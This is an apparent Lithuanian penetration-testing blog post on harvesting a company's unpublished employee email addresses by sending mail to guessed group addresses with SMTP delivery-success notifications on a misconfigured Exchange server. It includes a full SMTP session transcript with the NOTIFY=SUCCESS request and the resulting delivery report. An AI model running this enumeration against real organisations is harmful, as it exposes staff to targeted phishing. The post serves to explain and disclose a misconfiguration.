Pirmas etapas, kurį įsilaužėlis turi įvykdyti prieš ataką, yra informacijos apie atakuojamą organizaciją surinkimas. Kuo daugiau informacijos įsilaužėlis surenka, tuo tikslesnė ir efektyvesnė būna jo ataka, pavyzdžiui, turėdami tik kompanijos pavadinimą, pasitelkę įvairias technikas ir įrankius, galime sužinoti naudojamus IP adresus, sričių vardus, vidinio tinklo egzistavimą bei daug kitos informacijos, kuri padės geriau įsivaizduoti kompanijos naudojamą saugumo modelį.

Ieškodami vienos kompanijos informacinėje sistemoje pažeidžiamumų, radome, kaip atrodė, seniai nebeegzistuojančią saugumo spragą, kuri leido mums išgauti daugumos kompanijos darbuotojų elektroninius pašto adresus, kurie nebuvo viešai skelbiami. Prisijungus prie pašto serverio SMTP prievado, antraštė išdavė, jog servisas palaiko patobulintą SMTP protokolą bei pristatymo žymas (angl. Delivery Status Notification).

Antraštės pavyzdys:

220 mail.sucurecorp.lt Microsoft ESMTP MAIL Service ready at Sun, 18 May 2008 19:34:43 +0300
EHLO mail.critical.lt
250-mail.sucurecorp.lt Hello [10.10.10.10]
250-SIZE 10485760
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-STARTTLS
250-AUTH NTLM
250-8BITMIME
250-BINARYMIME
250 CHUNKING

Pristatymo žymos gali būti naudojamos netik pranešimui apie klaidas, bet ir apie uždelstą arba sėkmingą pristatymą. Esant tam tikrai serverio konfigūracijai, siunčiant žinutę el. pašto grupei, bus gaunama žyma apie sėkmingą laiško pristatymą kiekvienam grupei priklausančiam abonentui. Belieka tik iš kompanijos tinklalapio surinkti el. pašto adresus tokius kaip: vilnius@securecorp.lt, kaunas@securecorp.lt, info@securecorp.lt ir panašius numanomų grupių adresus ir išsiusti specialų laišką.

Užklausos pavyzdys:

220 mail.sucurecorp.lt Microsoft ESMTP MAIL Service ready at Sun, 18 May 2008 19:45:04 +0300
EHLO mail.critical.lt
250-mail.sucurecorp.lt Hello [10.10.10.10]
250-SIZE 10485760
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-STARTTLS
250-AUTH NTLM
250-8BITMIME
250-BINARYMIME
250 CHUNKING
MAIL FROM: <attacker@critical.lt>
250 2.1.0 Sender OK
RCPT TO:<vilnius@securecorp.lt> NOTIFY=SUCCESS ORCPT=rfc822;vilnius@securecorp.lt
250 2.1.5 Recipient OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
testas
.
250 2.6.0 <b1be77c1-866f-4eb5-ad26-5fba634939da@mail.sucurecorp.local> Queued mail for delivery
QUIT
221 2.0.0 Service closing transmission channel

Pristatymo žymos pavyzdys:

Jūsų laiškas pristatytas šiems gavėjams:
Jonas.Jonaitis@securecorp.lt<mailto:Jonas.Jonaitis@securecorp.lt>
Petras.Petraitis@securecorp.lt<mailto:Petras.Petraitis@securecorp.lt>
Antanas.Antanaitis@securecorp.lt<mailto:Antanas.Antanaitis@securecorp.lt>
Juozas.Juozaitis@securecorp.lt<mailto:Juozas.Juozaitis@securecorp.lt>

<...>

Tema:
________________________________
Išsiuntė „Microsoft Exchange Server 2007“

Šiuo atveju kompanija naudojo MS Exchange pašto serverį, el. pašto grupės buvo sukonfigūruotos taip, kad nereikalautų autentifikacijos siunčiant iš išorės, konkrečiau, parametro RequireSenderAuthenticationEnabled reikšmė buvo $False.

Komentarai